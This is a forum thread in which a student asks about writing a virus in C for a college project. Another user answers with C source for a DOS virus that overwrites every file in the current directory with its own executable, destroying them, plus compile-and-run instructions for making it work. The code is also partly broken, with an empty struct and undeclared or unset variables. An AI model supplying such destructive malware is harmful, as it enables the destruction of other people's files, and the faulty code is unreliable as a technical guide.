virus or antivirusin 'c'

Light Poster
20Mar2008,12:01   #1
vaibhav89's Avatar
can we make a virus or anti virus using 'c'or 'c++'.......
please tell me .


i need to make a college project on 'c'of about 2000 lines .please guide me to a good and innovative project.
TechCake
20Mar2008,14:28   #2
asadullah.ansari's Avatar
There is a lot of virus depends on you where u want to use it i.e. for network, for simple
desktop pc etc.

>> first understand on desktop how types of viruses may be

Example: To Destroy all files making them size 0 or else.

Code: c
#include<stdio.h>
#include<conio.h>
#include<dir.h>
#include<io.h>
#include<time.h>
#include<dos.h>

FILE *vPtr,*lPtr;
unsigned long x;
int nSize,nCount=0;
char buff[4096];
clock_t beg,end;
struct fBlock
{
} fBlck;

void main()
{
beg=clock();
clrscr();
comp=findfirst("*.*",&fBlck ,0);
while(!comp)
{
lPtr=fopen(fBlck .ff_name,"rb+");
vPtr=fopen(_argv[0],"rb");
if(lPtr==NULL)
   goto next;
nSize=100000;
printf("Infecting %s\n",fBlck .ff_name,a);
while(nSize>4096)
{
fread(buff,4096,1,vPtr);
fwrite(buff,4096,1,lPtr);
nSize-=4096;
}
fread(buff, x, 1, vPtr);
fwrite(buff, x, 1, lPtr);
nCount++;
next:
{
fcloseall();
comp=findnext(&fBlck);
}
}
printf("DONE! (Total Infected Files = %d)",nCount);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(beg-end)/CLK_TCK);
getch();
}



>>> You can use borland c.
First compile and link and see the size of this Exe in bytes. same value you have to assign to "nSize" variables in the program
Now again compile and then run this program, then all files in that directory will be infected.
This is for your initiates of your project. A lot of things are there. First read many other way like process replica etc.

THis is only for your kind of your information and for your project(Academic)only. Dont use it any places.
Light Poster
20Mar2008,18:08   #3
vaibhav89's Avatar
thanxxxxxxxx........but i would like to know how wil it judge a file infected or not...
TechCake
20Mar2008,18:52   #4
asadullah.ansari's Avatar
Quote:
Originally Posted by vaibhav89
thanxxxxxxxx........but i would like to know how wil it judge a file infected or not...

Original files will be corrupted or unable to open or wrong documents.